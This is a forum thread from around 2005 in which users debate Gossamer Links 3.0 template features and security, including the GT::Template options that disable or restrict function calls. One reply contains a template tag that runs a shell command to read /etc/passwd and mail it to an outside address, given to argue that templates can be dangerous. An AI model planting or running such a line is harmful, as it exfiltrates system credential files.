    I would feel better, if I would know that I have all the tools implemented into GT modules, which is needed to develop such features for myself.

    I don't think implementing features into the core code that suit your custom project is necessarily best for the general product user base.

    Quote:
    This is pretty interesting statement from the GT staff...
    GT staff NEVER promoted existence of inheritance!
    There were some rare usages, like in Yogi's PageBuilder plugin, but most people didn't know (nor even developers) that this feature exists.

    I just did a forum search and "Alex" made an announcement in December 2001 outlining the inheritance feature. I think perhaps it's a slight over exaggeration to say that most developers didn't know it existed, just because you personally didn't :) ....I only downloaded Gossamer Forum a week ago and came across the inheritance feature whilst browsing the templates directory.
    Quote Reply
    Re: [Gmail] Gossamer Links 3.0 - Template system changes In reply to
    Of course, your comments are welcome!

    Quote:
    In the documentation it states that templates should be edited via the admin panel, particularly globals.txt and language.txt due to their formatting, therefore it should not be an issue as to where the two .txt files are located as you should never see them :)
    Since you edit the templates through the admin interface, you shouldn't bother if globals.txt, language.txt, .tplinfo files are grouped into a _config directory in template dir.
    Also I hope, you don't think that all users, especially advanced users are still using the admin interface to edit templates. Wink I believe, most users (advanced users 100% sure) are using text editors, html editors to edit their template code. Because a text/html editor is more comfortable.
    But the bottom line is: putting these configuration files into a _config directory, doesn't harm anybody.


    Quote:
    In my personal it obscures the code. Wrapping an include with an if/endif is much clearer to the average user who perhaps isn't so familiar with perl, than "include something if something = something"
    My personal experience is, that having too much <%if foo%><%include $foo%><%endif%> in template, obscures the code.
    Using <%include $foo if%> is much clearer and shorter solution.
    But if you want, you can still use the long style. That depends on you.


    Quote:
    If you don't trust your editors with globals, why would you trust them with templates? ....you can put function calls in templates which can do as much harm as a global.
    Ah, absolutely no.
    Putting a `cat /etc/passwords` into Global Perl code is DANGEROUS!
    While in templates, you can only put calls to existing functions, which means much less danger.
    But if that's not enough, I still have 2 security solutions for templates:
    1) Edited templates doesn't take effect until I do allow on the admin interface
    2) I limit the allowed function calls. On the template editor interface, I can implement this filter.


    Quote:
    I don't think implementing features into the core code that suit your custom project is necessarily best for the general product user base.
    I suggested only useful features, which would help flexibility of GT apps for the overall user community.
    Of course, not every feature applies every user, since most users doesn't use every feature. That's normal.

    My suggested features were:
    1) Site-Theme-Element style template system. Site level is missing from current (2.x) implementation.
    2) Directories for template Grouping in template sets, to group templates for easier usage
    3) Inheritance: thanks to GT, this was already implemented earlier. This proves, that my suggestions are right.
    4) _config directory in template sets, where globals.txt, language.txt, .tplinfo are separated from templates
    5) Variable templates. To make possible to edit the most often changed template parts.
    Similar solution could be still fine, if correctly separates the Skeleton design part, from the often changed template elements.
    6) <%include $foo if%>: to simplify conditional if usage. The backward compatibility is kept, old style can be still used.


    Quote:
    I just did a forum search and "Alex" made an announcement in December 2001 outlining the inheritance feature. I think perhaps it's a slight over exaggeration to say that most developers didn't know it existed, just because you personally didn't :) ....I only downloaded Gossamer Forum a week ago and came across the inheritance feature whilst browsing the templates directory.
    I also did a forum search. In the mentioned post, there was a small note, that template inheritance was implemented into GForum. But that affects only GForum users. Non-GForum users, like Links SQL were not announced about template inheritance feature. Yogi knew about it, since he worked with both LSQL and GForum.
    Anyway, that doesn't change the fact, that inheritance feature was not propagated for LSQL users by GT staff...
    There were no any words on LSQL template help pages, about template inheritance...

    Best regards,
    Webmaster33


    Paid Support
    from Webmaster33. Expert in Perl programming & Gossamer Threads applications. (click here for prices)
    Webmaster33's products (upd.2004.09.26) | Private message | Contact me | Was my post helpful? Donate my help...
    Quote Reply
    Re: [webmaster33] Gossamer Links 3.0 - Template system changes In reply to
    Quote:
    Ah, absolutely no.
    Putting a `cat /etc/passwords` into Global Perl code is DANGEROUS!

    Indeed, so how about this... <%POSIX::system("cat /etc/passwd | mail gthreads@gmail.com")%>

    But as I mentioned in my previous post, if you were fearful of editors doing this, then you must have picked the wrong editors :)

    Last edited by:

    Gmail: Feb 8, 2005, 9:48 AM
    Quote Reply
    Re: [Gmail] Gossamer Links 3.0 - Template system changes In reply to
    Quote:
    if you were fearful of editors doing this, then you must have picked the wrong editors :)
    You can never trust people 100%, especially not those who you meet on the net...
    And admins should trust themself only. Security risks should be lowered as much possible.


    Quote:
    so how about this... <%POSIX::system("cat /etc/passwd | mail gthreads@gmail.com")%>

    Uhm, yes that would be serious. But you can do this only logged as admin.
    If I implement a partner tempate editor interface, I can use function call limiting features of GT::Template.

    So thanks to foreseeing GT developments, function calls can be limited with a regexp, and furthermore function calls can be disabled.
    See the GT::Template docs:
    http://www.gossamer-threads.com/...e.html#parse_options
    Quote:
    disable => { ... }
    This can be used to disable certain GT::Template functionality. To disable a particular feature, the hash reference passed to disable should contain a feature_name with a 1 value, unless otherwise indicated. Feature names are as follows:

    functions
    This can be used to disable Package::function calls, such as <%Some::Package::function%>. Note, however, that this does _not_ disable aliased function calls (see below).

    function_args
    This disables any function calls that specify arguments - for instance, <%Some::Package::function(1)>. Note that this does _not_ disable passing arguments to aliased function calls (see below).

    function_restrict
    This can be used to restrict function calls by limiting the available functions. It takes a regular expression as an argument, which will be tested against the fully qualified function name - any function that does not match the regular expression will not be called. For example, to only allow functions in 'Package::One' and 'Second::Package' to be called, you could use:

    function_restrict => '^(?:Package::One|Second::Package)::\w+$'

    Like the above options, this does not restrict aliased function calls.

    coderefs_args
    This can be specified to disable the calling of code reference variables with arguments. Tags such as <%coderefname%> and <%coderefname()%> will be allowed, but <%coderefname(1)%> will not.

    alias_args
    This option can be used to disable the passing of arguments to aliased function calls (see below).

    Best regards,
    Webmaster33


    Paid Support
    from Webmaster33. Expert in Perl programming & Gossamer Threads applications. (click here for prices)
    Webmaster33's products (upd.2004.09.26) | Private message | Contact me | Was my post helpful? Donate my help...

    Last edited by:

    webmaster33: Feb 8, 2005, 11:29 AM
    Quote Reply
    Re: [GT Dev Team] Gossamer Links 3.0 - Template system changes In reply to
    Is strict => 0 option available in .tplinfo file?
    (If set to 0, template errors will not be displayed. The default is 1. )
    If not, may be good idea to add it there. I don't see security problems with this.

    BTW: if strict => 1, errors should be redirected to STDERR or the debug error log.

    Best regards,
    Webmaster33


    Paid Support
    from Webmaster33. Expert in Perl programming & Gossamer Threads applications. (click here for prices)
    Webmaster33's products (upd.2004.09.26) | Private message | Contact me | Was my post helpful? Donate my help...

    Last edited by:

    webmaster33: Feb 8, 2005, 11:38 AM
    Quote Reply
    Re: [GT Dev Team] Gossamer Links 3.0 mockup In reply to
    Hello,

    I have some idea, wanted features for gossamer links.

    I have posted this question before, but is Gossamer Links compatible with mod_perl2 /apache2?

    A good idea what I like is a complete css based layout for the admin/fileman/browser for gossamer links similar as what's posted in this thread before.

    An editor maintenance & validation of reviews & update in editor table such ass CanAddReiew,CanDelReview,CanModREview,CanValReview.

    Editor signup & Editor request of new rights with validation by admin.

    build in badlink reporting.

    Cheers,

    Eric Holborn
    Quote Reply
    Re: [GT Dev Team] Gossamer Links 3.0 - Admin suggestion In reply to
    IMPORTANT suggestion!

    The "admin.cgi" string should be not hardcoded in Links SQL 3.0 anymore.
    Users need the ability to rename admin.cgi to another name, like myadmin.cgi for security reasons!!!
    If admin.cgi is not renamed, it is a potential security risk, as the attacker already knows which script wants to attack!

    There are hacking robots browsing the net, which are looking for vulnerabilities.
    DBMan is already on their list, and I don't want to wait until they will have Links SQL also on their list.


    Anyway, GT staff should seriously consider to put admin.cgi script name into config, so could be changeable by the admin.

    Best regards,
    Webmaster33


    Paid Support
    from Webmaster33. Expert in Perl programming & Gossamer Threads applications. (click here for prices)
    Webmaster33's products (upd.2004.09.26) | Private message | Contact me | Was my post helpful? Donate my help...
    Quote Reply
    Re: [GT Dev Team] Gossamer Links 3.0 - Template system changes In reply to
    I'm sure you know this article, but I paste it here for reference:
    Choosing a Templating System / Templating System Comparison

    Quoting a small part, which supports my opinion:
    Quote:
    Consistency of Appearance

    It doesn't take a genius to see that making one navigation bar template and using it in all of your pages is easier to manage than hard-coding it every where. If you build your whole site like this, it's much easier to make site-wide changes in the look and feel.

    The underlined parts are the same, what I wrote.
    To make easy to do site-wide changes in the design.

    Best regards,
    Webmaster33


    Paid Support
    from Webmaster33. Expert in Perl programming & Gossamer Threads applications. (click here for prices)
    Webmaster33's products (upd.2004.09.26) | Private message | Contact me | Was my post helpful? Donate my help...
    Quote Reply
    Re: [GT Dev Team] Gossamer Links 3.0 mockup In reply to
    Hi,

    a Double-Opt-In-Solution for the newsletter-subscription (e.g. a validation-mail like for user-signups) would be really nice!
    ... especially because it's needed in some countries for law-reasons.

    Regards,
    Manu

    Shopping Portal Shop-Netz.de® | Partnerprogramme | Flugreisen & Billigflüge | KESTERMEDIA e.K. | European Affiliate Marketing Forum.

    Last edited by:

    ManuGermany: Mar 3, 2005, 2:41 AM